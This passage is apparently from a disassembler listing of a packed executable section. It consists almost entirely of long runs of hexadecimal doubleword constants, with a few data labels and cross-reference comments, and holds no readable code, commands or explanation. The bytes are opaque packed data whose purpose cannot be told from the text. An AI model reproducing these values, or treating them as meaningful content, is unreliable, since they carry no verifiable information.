		dd 16770C10h, 8CB29DE8h, 8013169Eh, 0EBE3E3Ch, 805DC6C7h
		dd 0E846572Fh, 3DB4B287h, 0C78BEA61h, 0A01E727Fh, 43DC5326h
		dd 2DFB4B60h, 0CBAC7EE6h, 59FFD8F2h, 0DA8443EBh, 138FAA84h
		dd 12321C23h, 89F15E18h, 0B3D047E8h, 344E54BFh,	0E168AA59h
		dd 0EE704B74h, 0F7C71909h, 5DD01D02h, 85BE5603h, 126C8DEEh
		dd 11DFF0F7h, 682246Eh,	0AF386820h, 0A225F3E6h,	0C36B2E1h
		dd 0B5D2E51Bh, 4D59C6C1h, 0EA6AB2Ah, 0C51E5615h, 9AB6F134h
		dd 554D1045h, 5EEA4F2Ah, 0DA9AFF12h, 0F913D45h,	70E80BFCh
		dd 0B5EA5ADFh, 19292752h, 0F4251457h, 916870D5h, 0D549DEBEh
		dd 38457914h, 10C2447Ah, 0D58945Fh, 2FC6E4D8h, 7DE844C0h
		dd 440791D9h, 716A04E4h, 9C2E0699h, 44C9E632h, 72145EE8h
		dd 7F142341h, 5E57F532h, 6098C4CDh, 875350E4h, 0BD20F09Ch
		dd 1C9798F0h, 0C8DE5FCAh, 0BF5EF487h, 20DE67B8h, 64D6D4E8h
		dd 0FC8C8EF3h, 508AB646h, 50D62587h, 8D595456h,	68D9216Bh
		dd 34FB3370h, 11268986h, 4E562E18h, 200FE884h, 0CDC697D1h
		dd 9F88B9B7h, 0AE24174Dh, 0C6A807Eh, 19F1D8DFh,	7F07D897h
		dd 0BDF95E11h, 8DA76918h, 0B0D09C68h, 107DD552h, 348ADFF7h
		dd 0AB27E43Ch, 8259B90Ah, 794B60E8h, 533B4499h,	122B1A8h
		dd 192FE934h, 27A692BAh, 19528956h, 0D30CB4B3h,	0A384DD43h
		dd 4510224Dh, 65A234CCh, 0F3A70409h, 565904ACh,	4F563ACh
		dd 0AB0350ABh, 864AD79Ch, 2FEB023h, 2080C75Fh, 0A641EC57h
		dd 0E8EC40C4h, 0E7D7BC2Fh, 0E5759F72h, 0EEC4F2DBh, 5DF0C382h
		dd 462FED65h, 2376BFFCh, 0C04D8B41h, 0FD1A46ADh, 4042E61h
		dd 0FD810F92h, 984C5046h, 579C9969h, 5888CB2Ah,	0EBCE8CEBh
		dd 0B20A4A6Ah, 22139090h, 62F995BBh, 5925D89Dh,	0FED14992h
		dd 26E87409h, 2528DACDh, 0E77689C0h, 0D0198448h, 0D922DC43h
		dd 48FCB0C4h, 0FEAD64E0h, 1257AB0Ah, 63607549h,	5DC4A8CFh
		dd 0DDAEC445h, 2004DE14h, 2BDEE574h, 0A9400BF2h, 0E4F1268h
		dd 0BACF5241h, 39C41772h, 8E1D1CC6h, 0B0286818h, 4A9CE8C4h
		dd 154A224Ch, 2029455Fh, 0F374278Ch, 613B2B7Fh,	8822577Dh
		dd 0C08109D1h, 26AB62E8h, 0F3B49291h, 24134444h, 4B2E14Ah
		dd 0BC624A88h, 5DD913FEh, 59F13ED0h, 42516F42h,	20A9056Eh
		dd 0EE925AF8h, 0A2B5A29h, 0AAFCFEDEh, 62194571h, 21E82279h
		dd 0D74FD60Bh, 25CEDAEFh, 575C42EAh, 0ACA905C5h, 0F155BA4h
		dd 0A90CCC15h, 0CE0E66EBh, 71BF2C8Dh, 0BEC76571h, 0C62FCDCDh
		dd 0A5EBBE10h, 0AD495B0Eh, 576BF9D9h, 5BB11D89h, 0CCD693EAh
		dd 1F870916h, 888BEC74h, 0A138BC21h, 852512B0h,	0BC8D92DCh
		dd 4720884Eh, 8C5197A7h, 45D0A4B2h, 8DCC078Eh, 14F539B3h
		dd 8B9AA8A3h, 0D0EDF70Eh, 776B0277h, 3768C818h,	45411025h
		dd 0D04D8962h, 4CC45F53h, 0B0219C8Ah, 254B2138h, 4B622588h
		dd 0A5D1B6F5h, 9FC9393h, 0A79A916h, 0CB8B5BE4h,	0CB43CF41h
		dd 511082BBh, 0ECBC08F9h, 0D4500449h, 104447A6h, 36EFA153h
		dd 82401C76h, 3E97687Eh, 8D4D4917h, 7BE9C384h, 0B8918CAEh
		dd 0E8112824h, 3CDF3C8Bh, 0E7D8497Ch, 7C4C3694h, 0DCA72423h
		dd 8BF6580h, 0D8095779h, 9575F1EEh, 11907A33h, 0EE3F5393h
		dd 9EE84F52h, 4B421BB3h, 0E935681Dh, 0B95183C8h, 0E1FA57A1h
		dd 64DEE8ECh, 0D39F5907h, 0EED4C486h, 7825B4CBh, 2CC243D6h
		dd 12DC39FCh, 39C25D8Bh, 4D2B71F1h, 33CB8D10h, 1EF4ACA2h
		dd 8B07985Dh, 589DEA06h, 0BA938E0Ch, 89D40825h,	550CBE49h
		dd 70148F53h, 0BEED7A6h, 9C9C3637h, 78A85724h, 0C46FC972h
		dd 0A9924F23h, 1D103101h, 0F5AF66E8h, 0D11D4E2h, 0BCBD0959h
		dd 40506A40h, 7F8A4910h, 25E196AAh, 542D945Bh, 0A44484Eh
		dd 96E2FDCh, 394C2374h,	0FF06826h, 8548F143h, 0A7E07744h
		dd 34FC24BEh, 0E8F28879h, 0E6A3A287h, 6BC399E8h, 0A53FD2F1h
		dd 8FE00967h, 10306A1Ch, 64E417C2h, 0C2FFA259h,	9604DC65h
		dd 3DD19836h, 751D8DEDh, 71657F49h, 28113D7Fh, 0C2735190h
		dd 75C1E5D4h, 47E5728h,	11B11CF2h, 0A1139539h, 420EA744h
		dd 3068C63Fh, 0AEE87561h, 0AC03EEC1h, 0F0234C4Ch, 208458A2h
		dd 0A6457710h, 9553E132h, 84841047h, 0D86247E9h, 0EF1027A4h
		dd 0F05F078Bh, 0C9BF0C30h, 1D50F7Dh, 7D7ECF2Bh,	8A6020F6h
		dd 46068828h, 0C34D4EFFh, 0EC4E840Ch, 0F12F31E5h, 2653196h
		dd 59269B4Eh, 0EEEB2722h, 83047D1h, 5AB9E810h, 1838D8E4h
		dd 8A4BD395h, 112ADC68h, 0AD974571h, 71C4EA58h,	5A48B35h
		dd 78430E14h, 97FDEC10h, 0B82F5DEDh, 5C621AF4h,	545512FAh
		dd 0F63350E9h, 1DA241BFh, 0B214248Ch, 0C9A620A3h, 0F43B478h
		dd 9EBB0C23h, 4114C668h, 80E34F2Fh, 66322923h, 46ED1040h
		dd 1A27BA91h, 0D43B02EEh, 397047A5h, 0E04344CAh, 0D0C80456h
		dd 0B011FA29h, 57C9F42Dh, 0E240F364h, 0D1B69EE4h, 0A4250D3Ah
		dd 0E0B2B739h, 8BCC9414h, 83D30116h, 0E0CB5312h, 55140228h
		dd 0D08B9684h, 44120CF0h, 34D94475h, 0E87AD6E8h, 87D13ABh
		dd 0D2CCD76Ch, 5E00CE9Ah, 9AD06FB8h, 5067496Eh,	2FB36D6Ah
		dd 9E78E1A2h, 0A0C5C4A5h, 0B481CE90h, 49C89C92h, 0CD96D0C8h
		dd 34FBEC20h, 0ACE3C068h, 70D53830h, 18CC11A4h,	0A457E365h
		dd 96A310Dh, 62A1AB1Eh,	39B825E7h, 0A22FB496h
		db 38h
byte_505345	db 0DCh, 0D4h, 0DCh	; DATA XREF: .packed:off_454680o
					; .packed:off_454688o ...
		dd 0C3204E45h, 6910D468h, 26FC2341h, 0B8E48B2Eh, 4F127E3h
		dd 45F417B3h, 46C8222Ah, 0DF294E19h, 4240A10Ch,	0EFF42EB3h
		dd 5FD250CDh, 491A3E88h, 3F503E61h, 0B5D52767h,	0E4E88720h
		dd 6232B786h, 449CC930h, 0B46216B7h, 0EA90D2D8h, 789CA3EAh
		dd 81305B59h, 52E2B739h, 7DBB627Fh, 7A18E399h, 55D2738Dh
		dd 0FF699F10h, 0F01DF9A6h, 8712DB33h, 0F0A9CA53h, 3FCCFBD7h
		dd 0AB2AF946h, 44595222h, 686EC27Bh, 84418F7h, 0D780F47Ah
		dd 3CC3653Bh, 78F83810h, 937D5484h, 0C4E3683h, 0E94AE4F4h
		dd 360C66B5h, 0C2194695h, 14287514h, 4722C042h,	1375955h
		dd 3A1476C7h, 839189CDh, 0C68B34A0h, 0E8B54CEAh, 0CC81410h
		dd 2E0810ECh, 94B1C1F0h, 5091036Ah, 0C32B03FCh,	9B483574h
		dd 0AC067E2Ch, 0B4082253h, 8143F424h, 0BE102F65h, 0D757444Dh
		dd 0A100DC8h, 3B081BEBh, 4B6B0429h
		db 0F0h, 0F2h
word_505446	dw 8F6h			; DATA XREF: .packed:off_44BF58o
		dd 0D6EB6C9Dh, 0D182AD34h, 94194133h, 2209360Ah, 930CFC04h
		dd 0E8560267h, 0F2F4B2B4h, 38FB4096h, 10B7142Eh, 9F186A4Ah
		dd 0C127D479h, 8C6EA790h, 0BD98F75Bh, 8D3BC745h, 9A086871h
		dd 3E5A870Ah, 47E626Eh,	0A665D856h, 0F07D256Bh,	29E24655h
		dd 267ED3FFh, 0B40E90C8h, 20EBCF45h, 0D8CDCDBBh, 7FCF0446h
		dd 21501BFCh, 80441445h, 0F110E05Ah, 25B22EEBh,	0E8E51895h
		dd 7F66BF60h, 237E6EA3h, 160EBCA2h, 0DE7E83A7h,	103F521Fh
		dd 5E1A3175h, 0AC0C4142h, 555746Ah, 0F8189C21h,	27AAFB3Dh
		dd 3678645Dh, 0E0135003h, 0F2800A86h, 0F9BBB1C2h, 0A9210612h
		dd 0F94EC68Bh, 6A255822h, 42074644h, 76F862A8h,	0ADA1D1CCh
		dd 2E1F52AFh, 0E2F46BF4h, 0C2444A2Dh, 0F1BEA827h, 22E8A814h
		dd 4C1ABECCh, 62E7AC65h, 6B032BEh, 8C004C4h, 1AFA27BCh
		dd 0DC06D866h, 1DDA480Fh, 6553D427h, 18B28820h,	218A3EE9h
		dd 0A87EEC22h, 8FD95671h, 94216808h, 0AA28122Ah, 2035FBF7h
		dd 360BFBE8h, 270B4CF4h, 738BF075h, 56079A55h, 16EB6218h
		dd 0F0103E45h, 1841C584h, 0E359FC44h, 8139D94Eh, 53EBB032h
		dd 14BCB941h, 50EB30CCh, 5032FF4Ch, 0A039E8D2h,	122A76CEh
		dd 0ED358C8Ah, 0F9800535h, 8CAF750Ah, 8413C689h, 0FE875005h
		dd 8C8840A1h, 46800957h, 903BD18Ah, 0D672278Eh,	0FE9AA993h
		dd 642F7711h, 1AC0E055h, 1A8A1BB2h, 0D2554609h,	373EC9A7h
		dd 8B9AD818h, 5C7E3542h, 6D0DDCD6h, 6C0E0F74h, 21B5227Ah
		dd 9E214122h, 0AD08DCC7h, 7669145Eh, 9782701h, 64DEE92Dh
		dd 0B334F1CAh, 0D41AC84Dh, 0B458A80h, 1AC8BE0Fh, 19FFF981h
		dd 12AA8741h, 0B323DF3Ch, 7FBB5774h, 3D853A3h, 75EB0A75h
		dd 2454C137h, 0E3FD6C0Eh, 8C261EF3h, 20189BC6h,	8158F908h
		dd 22FB12FAh, 0FD000DFCh, 9066A0Ah, 0C93336EBh,	5A2FA154h
		dd 41460F15h, 52780D3Ch, 0C6522575h, 650A3710h,	0C8804644h
		dd 0C3B13EBh, 4E2676F3h, 20890889h, 3E10B14h, 0EF25D209h
		dd 55FA6C51h, 841797ABh, 35AD3675h, 7762FFC8h, 2A94F704h
		dd 0EB893450h, 0F4C91850h, 1709752Ch, 120ACCEFh, 9573E9F0h
		dd 0BA1F432h, 5111EF42h, 350F0CA0h, 3887078Fh, 0D99DD419h
		dd 8106431h, 3F2C1B5Bh,	0CEA45BDFh, 8F6CE559h, 895347BAh
		dd 0CC1AD5B8h, 0CA25A044h, 12F24DC9h, 20FEDBC0h, 39F047EEh
		dd 4A9C4AF8h, 12659F53h, 20E04949h, 7812EB14h, 8A72F18Bh
		dd 20B55105h, 935FE881h, 0BECD599Fh, 0B54271C2h, 25CE4F79h
		dd 7144F1D9h, 991A09F5h, 3049CC60h, 113A8D3Eh, 2980EF38h
		dd 43F892F5h, 0D43EA7C4h, 0C927A807h, 0EC85F4DCh, 8B27C46Ah
		dd 0DE0505D8h, 0D5894B97h, 6C89CC1Eh, 89930C90h, 6A124853h
		dd 0B51E1962h, 42F65A9Ah, 59C489C8h, 4408C41Ah,	0B231FF2Ch
		dd 0C8231A1Ch, 327428E4h, 2B19D468h, 5F0CD44Ch,	0BC74D5E9h
		dd 9612A4C8h, 7D3AFE82h, 16A2791Ch, 0B6103518h,	0CDF62584h
		dd 9BDFEB2h, 0D87FE608h, 5E913D9Eh, 109C41Eh, 5B58299Dh
		dd 5D4E2F3h, 2C900465h,	93FBF24Bh, 33D4E304h, 315E43ADh
		dd 7C8D4773h, 25CD9439h, 0DB02E9ACh, 82EF671h, 899A0589h
		dd 7FF2DDEEh, 319150FAh, 4BDFC13Dh, 0BD0C4F12h,	0DBD9199Ah
		dd 959C7CD8h, 6BB1DA65h, 6802FB30h, 0D9DA6A5Fh,	7F624CE2h
		dd 0F14B908Dh, 3042BD80h, 0ED316104h, 31451A16h, 40E004E6h
		dd 74BC5D38h, 0AC89A377h, 0E80270EAh, 6CB6DA4Dh, 162C61C5h
		dd 45444968h, 5302E812h, 4161E610h, 88B40116h, 0C657439Dh
		dd 5D5003F5h, 0A9CDE3E8h, 1D308AA6h, 0E5166A12h, 0B5C58FCBh
		dd 2B96399Bh, 18C86127h, 8B6673AAh, 6F328534h, 192B27C9h
		dd 14341A59h, 262B22D9h, 0EC4B2877h, 7585ACE3h,	1187F75Dh
		dd 6A15B684h, 5BBC983Ch, 3BF30990h, 987A7F64h, 8DE61D21h
		dd 0F3469FE4h, 8E256EB7h, 11C8426Fh, 0DCEC3BFBh, 0AEBCC542h
		dd 4C909A43h, 0E8215AFCh, 0E80C9090h, 39E82557h, 79A5D354h
		dd 595D4800h, 18430F51h, 5F7A3988h, 0F9BDF094h,	570527AAh
		dd 718627BEh, 0B49D89C9h, 1EBE0256h, 0A98D539Ch, 20FC5AF3h
		dd 8594390Ah, 5740913h,	0EF9AC8F6h, 93605D08h, 23C50495h
		dd 211285C7h, 562781ADh, 0E042F751h, 7B0BAC4h, 5919571Bh
		dd 4F1148A8h, 0B77E53C9h, 572CC5EEh, 37FC3424h,	340B8B4Fh
		dd 1624605Fh, 74A1F0ADh, 0A53E4D48h, 6BF7F12Bh,	44A394FCh
		dd 45D9FBA7h, 53467219h, 0EC4144BAh, 0A1C12922h, 0A817087Ch
		dd 0EBDD08A5h, 9080F927h, 0FC8C10F2h, 13405313h, 27C71E74h
		dd 144D54D6h, 7B490C68h, 93F80667h, 0FEECA082h,	562E169Bh
		dd 387725F7h, 799D39E7h, 0BD6C9728h, 1FF88821h,	0A488E124h
		dd 0FC8C62FEh, 387B8922h, 3484F888h, 0FA7B3941h, 0A1EDC089h
		dd 199CD7DAh, 4C122B5h,	0BE39D550h, 0D3847C56h,	34FF9CC4h
		dd 0BC1035BFh, 59FE275Ch, 0AB5364A4h, 0B092E5ADh, 0C34B5E16h
		dd 8DD86C77h, 3A4FA0B5h, 97D6B028h, 7F560599h, 0FFFCEFC4h
		dd 2A1975A1h, 61D82DEAh, 51F60992h, 7F41E94Eh, 1090CC22h
		dd 2284B70Ch, 549FC2E6h, 75FC858Dh, 1EFA3D4Ch, 7A9784F2h
		dd 52A1EF10h, 0B2120B38h, 1C092297h, 5C70F0BAh,	5C9F3924h
		dd 69CBD449h, 2243E6DDh, 0E98FF30h, 0ABE50BB5h,	0A503282Fh
		dd 0B2B58943h, 697864F7h, 0B5680D84h, 0C25F71E8h, 875A4FA6h
		dd 0B7175AD1h, 3F4E9966h, 338E0F18h, 49E4A0A1h,	0CF142F5Dh
		dd 0FA208788h, 693A7297h, 28D61189h, 3C1A77C9h,	0C446E0D4h
		dd 95758482h, 0F427ABFEh, 0A845272h, 0A7FB94C8h, 0B0507AECh
		dd 0C740AFC7h, 299D5138h, 5582B144h, 0BF4E51BCh, 0B9BB2943h
		dd 3AC89492h, 53994098h, 132479E3h, 34FEECFEh, 5BE5EE35h
		dd 0B4CBDD31h, 3842224h, 709492D7h, 8A2AC868h, 855F8B64h
		dd 22BE6EE8h, 0C35F20D3h, 31F5791Ch, 0F47804C0h, 43C43C51h
		dd 70ED4FBFh, 58958AD0h, 8C106884h, 0C74E199Dh,	864843A6h
		dd 790311AEh, 36BBB1h, 0A50AE959h, 2307A5C8h, 8A0608E7h
		dd 0ED1B338Dh, 806C32F1h, 75E0B891h, 0C019FE0Ch, 8B26C932h
		dd 0F108EB11h, 458DE9C1h, 8A61080Ah, 1932C4ADh,	6C0B60Fh
		dd 0D8A26AC9h, 90C5330h, 21B7C72Bh, 0EBF5E891h,	57CA0923h
		dd 83E885F8h, 846FE8BDh, 7F95F88Bh, 75F549BEh, 4478922h
		dd 5625ED95h, 0F16E1432h, 281830F2h, 125887C6h,	0CA888D78h
		dd 53E3C35h, 27CCE24Fh,	397FB16h, 68096A53h, 7286B1AEh
		dd 9955497h, 0B3D6658Fh, 7E560842h, 984458D4h, 492167E1h
		dd 755982B0h, 25D16E13h, 0CD1C94E1h, 67447997h,	0A190B457h
		dd 0DDCF3EB6h, 4A031411h, 4104E3CCh, 661A2B54h,	2159F77Eh
		dd 0CC6212E8h, 13E590BEh, 1158E1D1h, 43F12214h,	0D08A0243h
		dd 0BF518822h, 58AD8D2Ch, 75F602FDh, 77EB4003h,	69BF4AFDh
		dd 119450BEh, 0F82105FAh, 0F688F010h, 65BCF244h, 0E8567160h
		dd 1283CF69h, 0B897730Ch, 458794E2h, 75028DD9h,	0D82E7537h
		dd 0BE5EF0FDh, 8E8441F2h, 0FCEC61C6h, 448C9408h, 0E81D0C14h
		dd 9FA276B8h, 5E5F1650h, 0D3083072h, 0A5838513h, 728D9624h
		dd 0B9E5255Eh, 2488233Ah, 80C720FCh, 24739F90h,	51CAF625h
		dd 8953A628h, 442E622Dh, 0B04D4AD9h, 50585129h,	2124CC74h
		dd 9723B1BBh, 4C9D7408h, 74383B23h, 92287557h, 91DE39A8h
		dd 0E80F69FDh, 40BF041Ah, 14BE844h, 32978F10h, 668DD584h
		dd 821D841Bh, 0FC920296h
		dd 0E88D8150h, 0A26DFE68h, 3B53527Bh, 2013915Ah, 0C46388BEh
		dd 942B48A4h, 0B2C1553h, 2576993h, 686408F5h, 0C4106A25h
		dd 22F5CE8h, 56F0BF0Fh,	0FC788974h, 1054E361h, 1479E484h
		dd 1C146A7Bh, 0E2616689h, 1D242C1Fh, 3A7A1A7Eh,	0A15B040h
		dd 24107D5Bh, 2C0484C7h, 74E9E3B8h, 892C0D43h, 7DC0021Eh
		dd 422BBE2Eh, 0D1492202h, 3C8143Ch, 10503544h, 254404C8h
		dd 8BC38D48h, 0CD5A5E30h, 9EB13EF6h, 37E8135Ch,	951F950Ah
		dd 1B01BA08h, 2305A480h, 0F26627B3h, 0B93D7111h, 6D257612h
		dd 0C4504A7Bh, 4A912068h, 7E9641EBh, 9162B80Dh,	0ABB6C954h
		dd 0A644550Bh, 437A14E1h, 50AC3822h, 0C26E70C4h, 0D5CE939Eh
		dd 0BCE9A9D0h, 0BC78C40Bh, 3540EB32h, 743301FEh, 0AA030A14h
		dd 0A402070Fh, 75040205h, 5724771Ah, 55C9AE07h,	168394DAh
		dd 93CDC7E8h, 2A16832Ch, 0D5098114h, 0FDFA194h,	947F338Ch
		dd 409EB8F1h, 47D29AC3h, 4B20DC16h, 0BD9116E8h,	0B889A94Dh
		dd 1354F8B4h, 0C9C6D9E8h, 2DEB6C2Fh, 9CB55025h,	7C25AF2Ah
		dd 4EE2F940h, 84901B23h, 0AAF63304h, 0DDE8A320h, 0A04795BBh
		dd 0A5AD5612h, 2F30B58Ah, 0BBE8A0E8h, 0D3C3856Bh, 0E3582532h
		dd 0E896629Ch, 0FCA286ADh, 0BC486ED9h, 0EB4C4C11h, 360BC721h
		dd 43C0ECC1h, 964C21D8h, 4211E7D4h, 26E80B61h, 0F5ECBB73h
		dd 30DEF531h, 0D03C7329h, 0CE904117h, 0D01950C0h, 90DC6FB5h
		dd 6475F1E4h, 0FC217E5Ah, 57C0B888h, 0D972A888h, 9EA21560h
		dd 0BB138691h, 0DD2FF28Fh, 0FB1764EDh, 641BFCFAh, 9888D368h
		dd 83345529h, 84C828F0h, 25E83542h, 2FDD088Fh, 730F38F1h
		dd 9778BB26h, 81E9E4A7h, 0D12AFE2Fh, 6DBA2146h,	451091BFh
		dd 0A21B451Ch, 0A2EC925Ah, 55BD80C3h, 75063B01h, 58858BC5h
		dd 6D1E13B2h, 1976D029h, 70B375F4h, 58681174h, 8AD5B04Ch
		dd 9C1111DDh, 8664174Ch, 169DBE42h, 0C3AD0033h,	50085D89h
		dd 34C81FA4h, 471250A4h, 5ABFA89Ah, 0EBE3F48Dh,	55E90F30h
		dd 240DD959h, 4060E603h, 41B8910Fh, 94C62F2Fh, 0F4752720h
		dd 7F049DB8h, 54EC58B5h, 1AFFD28Ch, 0F648534h, 15743CB9h
		dd 91C4CAD8h, 0F81C9141h, 0C47046E4h, 0E9462E9Ch, 2BE3576h
		dd 0BAC8A8E2h, 6D57115Ch, 5B89100Ch, 8CC8585Ah,	4F0944F1h
		dd 8D9F1099h, 9A91BEE4h, 0B668E8A3h, 9505B828h,	8066D51h
		dd 0F4EFD468h, 0BF8125E8h, 0F09D9C6Ch, 0C35E25B4h, 2317CB77h
		dd 75826C2Ah, 0A4E068EBh, 75705B26h, 0EC5468DAh, 4854A11h
		dd 32F868C9h, 0B048B839h, 0C9828B01h, 28241585h, 11A90848h
		dd 2A484A13h, 2521110h,	11188A48h, 0E1BEF188h, 0C2068B8h
		dd 0A71385E0h, 2111B611h, 689641CFh, 85BE0C30h,	3868103Ah
		dd 0FE4ADC8h, 1552EDAAh, 21154068h, 225B6498h, 1C83194Ch
		dd 0A650975Eh, 585417AEh, 0AD8E6A19h, 0BE558817h, 26576459h
		dd 0F5195A48h, 0A52F0C6Ch, 0C8741026h, 90F5E81Eh, 760DCA7Ch
		dd 10984354h, 0DFBCBDF4h, 0A4C8BD42h, 0B9BDCE62h, 0BD0CAC50h
		dd 21875BE3h, 37A894B4h, 9719BCA2h, 91C4210Eh, 0F287D086h
		dd 0E6D19CCh, 0D8715888h, 76AD470Ch, 32C8E010h,	2132E473h
		dd 23F4431Ch, 0E0F2AA10h, 0FF2984CAh, 0C5987BCh, 3AE61952h
		dd 0D1218736h, 5E1865BCh, 8768E126h, 154A2865h,	3C5126ABh
		dd 65A79A0Ch, 28852E25h, 27549F13h, 25107165h, 7C6B48C8h
		dd 463F0EFBh, 0B089DBA2h, 595A855Ah, 0FC495245h, 0ED486AF4h
		dd 0D7CAAC3Ah, 78C4E694h, 7FB30F17h, 16C0B84Fh,	0EAB4E25Dh
		dd 0BCF69515h, 73251A21h, 0BF0F0FAEh, 9A5E0AA9h, 3093511Fh
		dd 5BE89BB4h, 0E6588952h, 4B6AE455h, 7272FCE4h,	0AA68024Bh
		dd 9752DF0h, 7752667Eh,	4794BFC4h, 75484276h, 7111CA42h
		dd 0D45D84BAh, 13E3C412h, 0AFFE561Ah, 5E7BDA67h, 61E861CAh
		dd 7E2B776Ch, 2A192386h, 74E8CC40h, 81E9F89h, 43DC4525h
		dd 0F40F25F2h, 89BD4794h, 1F4A42F4h, 0C4741086h, 0C42BB9EBh
		dd 936C6BDBh, 0EE842947h, 883F3988h, 4996BFF9h,	9EC4862h
		dd 0E812B850h, 4AD9B3D7h, 5F531102h, 0B3F09A24h, 0BD800C48h
		dd 0FE062551h, 5CD0CDCFh, 4B2AB813h, 5E8C00BCh,	0B74A0F19h
		dd 242684EFh, 725EFB12h, 4CAB6E92h, 1910A6F8h, 0CDA3A1EAh
		dd 0A9CA6EFh, 589714CCh, 7BE88954h, 3D8B3BD0h, 0CE57DB04h
		dd 0B8B085B4h, 126C41B3h, 719A4E4h, 58425416h, 0A1B8AC22h
		dd 0F444248Ch, 0E32986A8h, 7411B2B8h, 0E534F45Bh, 7E028A47h
		dd 3D848D29h, 38801680h, 338750Dh, 102032C6h, 2C111A0Ah
		dd 0BA569147h, 7C9AE05Bh, 0FCD107BDh, 0FA840FE2h, 814C83Fh
		dd 26428E91h, 0EF444A66h, 86487897h, 0FC1EEA0Fh, 7E085275h
		dd 206DA947h, 11136178h, 8589E989h, 0FB2CE86Dh,	871B2F3Ch
		dd 0EB41E064h, 4876E85Dh, 2253742Ch, 6829422Eh,	14702C65h
		dd 4A3189CBh, 5FCA2B8Eh, 793B5744h, 93F167D5h, 0B92100FDh
		dd 26422013h, 4A1F850Fh, 622A4DA9h, 0E91869B1h,	7B3DDFFAh
		dd 0B506852h, 9F1DD1ECh, 5A8480E8h, 2D75F392h, 919CFB04h
		dd 0FD6CC4A5h, 19029061h, 2474A76Fh, 7DA5B231h,	0F40A8BCFh
		dd 0F14E0EFDh, 0FA94E813h, 6CD49727h, 0B81003A9h, 0B6FE84CBh
		dd 0C9231016h, 75F7A893h, 4E1C5652h, 0E6BE3812h, 6CC540B7h
		dd 4DECFD44h, 90DFEF68h, 26A486FBh, 70B528EBh, 86042D1Ah
		dd 0B221FD6Dh, 24028488h, 0E6A0BD5h, 7118778Bh,	6984FF4Dh
		dd 0B0F70D4Ch, 95FD7C8Eh, 76AD64EDh, 0E952B164h, 7023A5C9h
		dd 0E320988Ah, 51599973h, 0E7D62C89h, 0A00DE0E4h, 4DA30143h
		dd 51CD60C0h, 78BC36D6h, 0E24A7D3Dh, 793A9983h,	14B90B14h
		dd 0ABA8C5A4h, 0A06AA0DDh, 285E6A8Eh, 0F0AA570Bh, 78C676E0h
		dd 136E9FCCh, 0C4CE1444h, 6D07D08h, 3132D25Dh, 0D50880D4h
		dd 0D6199906h, 283EDC50h, 0E816EE0Eh, 0DBACB6F2h, 1B99981h
		dd 0ECF86F04h, 68031B91h, 12345678h, 56EC412Dh,	75046970h
		dd 22BE12CBh, 804110D4h, 8CAA29C3h, 0C0F49809h,	0EB02F9A8h
		dd 0EC686854h, 15111C3Fh, 38EB10F0h, 0BEF86823h, 259EC2A3h
		dd 7E97EDAh, 0DEEC99F9h, 0F4553F89h, 420E7028h,	0DA037202h
		dd 0E280D21Ah, 88D1E00Eh, 0E068F855h, 862ED840h, 0ACA550F8h
		dd 4FA5FA92h, 4AFEC113h, 0C7F8006h, 0B6BC4F54h,	8B08144Ch
		dd 3EBCC226h, 0E99180Ch, 0B9E09FB8h, 381DC2Fh, 146A3681h
		dd 0F755135Eh, 0CAC47033h, 0FC6F2EC8h, 4D33410h, 2103E9E8h
		dd 2BFFC281h, 935D5211h, 0B5B609ECh, 0C1F878A1h, 0DFAA43E7h
		dd 290B153Dh, 1C2A1C57h, 0BA3FF98Bh, 50E6F60Ch,	987E73B5h
		dd 56DC20D8h, 888C0EC1h, 0A341905Dh, 330B0691h,	7DD83092h
		dd 9998A30Ch, 2262206Ah, 0C610E882h, 57C904FCh,	0B83AA0FBh
		dd 1D0145C5h, 0A674346Ah, 16119579h, 0CC4690FCh, 0DC843490h
		dd 86602CC5h, 1221CB45h, 5B5CF126h, 22AE7C1Ch, 20464453h
		dd 78C12128h, 96B2D691h, 9C986DCh, 0A30FFC2Dh, 0BB42AF2Dh
		dd 0FEB44EF5h, 1400974h, 481C1045h, 3BE8C080h, 7F04C8FAh
		dd 0CA8C0F12h, 0E49788EEh, 85C41CCFh, 0C14BE82h, 74384575h
		dd 5F975EFDh, 3FC38C19h, 5EA2A794h, 10510C8Fh, 659FCC04h
		dd 4C11FA08h, 235F5D18h, 0C12706B3h, 0C976B509h, 4BE5A145h
		dd 3FD12A7h, 84B015D2h,	0B7E7161Bh, 540AB4D8h, 6324777Fh
		dd 4949A4B4h, 0A520574Dh, 2C39C153h, 7232848Dh,	56501600h
		dd 0EBCC24BAh, 11781E2h
		dd 0F99AE40h, 5DFF9AE3h, 0BCE426D6h, 686C2CEBh,	0FE44278Eh
		dd 314301B1h, 2A4D6170h, 0F7986909h, 58F4CAA9h,	5275FC70h
		dd 44CFC15Fh, 0BA2021B1h, 0E779B2AFh, 7D390C82h, 5732E1DCh
		dd 0C43E1C49h, 9DD9EEE6h, 44443264h, 6447BAFEh,	11FC427Eh
		dd 0EC5A2272h, 81D51024h, 70515927h, 98E04D44h,	0FA9AD851h
		dd 16B25057h, 0BCB7CD9Ah, 43798651h, 8F53224Ch,	7843E477h
		dd 232146FBh, 3B646D5Eh, 751497DAh, 7CC86855h, 0DB1EB62h
		dd 675EA3CBh, 8D63DC58h, 0F7C49491h, 4F7A3D80h,	0A199E4BFh
		dd 0F2382EABh, 86D9BD57h, 5DD287C8h, 2C4DB67Ch,	89A802Bh
		dd 10C4D6FFh, 91FEE9F8h, 741C68C4h, 52FC67Ah, 3AE98BF0h
		dd 0D49900BDh, 50F2A366h, 541D425Dh, 453D07F4h,	0F84891F6h
		dd 1D888005h, 0FA1422F9h, 0E8307421h, 40334ACAh, 7AE3C141h
		dd 15266408h, 161C3203h, 90641243h, 150252FCh, 0B818EB43h
		dd 977537DDh, 0A3518496h, 0E2FB251Dh, 1076DA63h, 83B1E026h
		dd 57E8D76Bh, 4501588h,	908DCD13h, 67BA8805h, 7F30BF0h
		dd 91453034h, 0B3335E06h, 420F340Ah, 8658410h, 0FF649228h
		dd 68524658h, 0BF130C50h, 0B29DAA5Bh, 0FF432F69h, 7FFEA275h
		dd 29EC62B1h, 119FCEEBh, 90284524h, 0C1ED482Bh,	0F1F7D233h
		dd 11D08F60h, 4FCB860Fh, 0FB978EF2h, 0C06B7390h, 0B7C8F03Ch
		dd 75F76660h, 12F4509Dh, 64505114h, 2A6EB176h, 0FC5706B7h
		dd 0EF89A021h, 0A40571AFh, 0DF23F664h, 1F976261h, 877EFA30h
		dd 456B85A1h, 0A077A162h, 75D5D0D0h, 1023B3D2h,	188AB14Ah
		dd 6A47F475h, 0F1EF2288h, 200CE4A5h, 42480344h,	0FE49C9B4h
